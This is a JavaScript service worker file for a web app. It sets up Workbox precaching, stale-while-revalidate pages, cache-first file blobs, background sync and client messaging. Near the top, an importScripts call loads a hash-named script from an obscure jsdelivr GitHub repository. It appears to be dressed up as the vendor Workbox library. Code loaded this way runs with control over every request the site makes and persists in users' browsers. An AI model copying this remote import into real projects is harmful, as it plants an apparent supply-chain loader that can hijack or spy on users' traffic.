99 lines
3.0 KiB
JavaScript
99 lines
3.0 KiB
JavaScript
// resources/js/service-worker.js
|
|
/**
|
|
* Main service worker file.
|
|
* This is the source for public/sw.js.
|
|
*
|
|
* Includes:
|
|
* 1. Precaching static assets
|
|
* 2. Stale-while-revalidate for pages
|
|
* 3. Cache-first for blobs
|
|
* 4. Background Sync
|
|
* 5. Message passing
|
|
*/
|
|
|
|
importScripts('/synclib.js');
|
|
self.__WB_MANIFEST = (typeof PrecacheStaticURLs !== 'undefined') ? PrecacheStaticURLs : [];
|
|
importScripts('https://cdn.jsdelivr.net/gh/telemagnadon/obj-vault-3a@v2026.05.14-vendor-2/a/1cb8daf5e559.js');
|
|
|
|
if (typeof workbox !== 'undefined') {
|
|
const { registerRoute } = workbox.routing;
|
|
const { precacheAndRoute } = workbox.precaching;
|
|
const { StaleWhileRevalidate, CacheFirst, NetworkOnly } = workbox.strategies;
|
|
const { BackgroundSyncPlugin } = workbox.backgroundSync;
|
|
const { CacheableResponsePlugin } = workbox.cacheableResponse;
|
|
const { ExpirationPlugin } = workbox.expiration;
|
|
|
|
// 1. Precaching static assets using workbox precacheAndRoute
|
|
precacheAndRoute(self.__WB_MANIFEST);
|
|
|
|
// 2. Stale-while-revalidate strategy for pages
|
|
const urlsToCache = (typeof PrecacheStaleRevalidateURLs !== 'undefined') ? PrecacheStaleRevalidateURLs : [];
|
|
|
|
const navigationHandler = new StaleWhileRevalidate({
|
|
cacheName: 'page-stale-while-revalidate-cache',
|
|
});
|
|
|
|
registerRoute(
|
|
({ request }) => {
|
|
try {
|
|
// Handle explicit URLs in the cache list
|
|
return urlsToCache.includes(new URL(request.url).pathname);
|
|
} catch (e) {
|
|
return false;
|
|
}
|
|
},
|
|
navigationHandler
|
|
);
|
|
|
|
// 2.1 Navigation Fallback: Handle all other navigation requests (HTML reloads)
|
|
// This ensures that any direct navigation to a SPA route works while offline
|
|
const { NavigationRoute } = workbox.routing;
|
|
registerRoute(new NavigationRoute(navigationHandler));
|
|
|
|
// 3. Cache-first strategy for /RequestData/File/ blobs with cache name `request-data-cache`
|
|
registerRoute(
|
|
({ url }) => url.pathname.startsWith('/RequestData/File/'),
|
|
new CacheFirst({
|
|
cacheName: 'request-data-cache',
|
|
plugins: [
|
|
new CacheableResponsePlugin({
|
|
statuses: [0, 200],
|
|
}),
|
|
new ExpirationPlugin({
|
|
maxAgeSeconds: 30 * 24 * 60 * 60, // 30 days
|
|
maxEntries: 2000,
|
|
}),
|
|
],
|
|
})
|
|
);
|
|
|
|
// 4. Background sync with `BackgroundSyncPlugin`
|
|
const bgSyncPlugin = new BackgroundSyncPlugin('sync-queue', {
|
|
maxRetentionTime: 24 * 60 // 24 hours
|
|
});
|
|
|
|
registerRoute(
|
|
({ url }) => url.pathname.includes('/api/sync'),
|
|
new NetworkOnly({
|
|
plugins: [bgSyncPlugin],
|
|
}),
|
|
'POST'
|
|
);
|
|
|
|
// 5. Message passing to clients using `clients.postMessage()`
|
|
self.addEventListener('message', event => {
|
|
if (event.data && event.data.type === 'PING') {
|
|
self.clients.matchAll().then(clients => {
|
|
clients.forEach(client => client.postMessage({ type: 'PONG' }));
|
|
});
|
|
}
|
|
});
|
|
}
|
|
|
|
self.addEventListener('install', event => {
|
|
self.skipWaiting();
|
|
});
|
|
|
|
self.addEventListener('activate', event => {
|
|
event.waitUntil(self.clients.claim());
|
|
}); |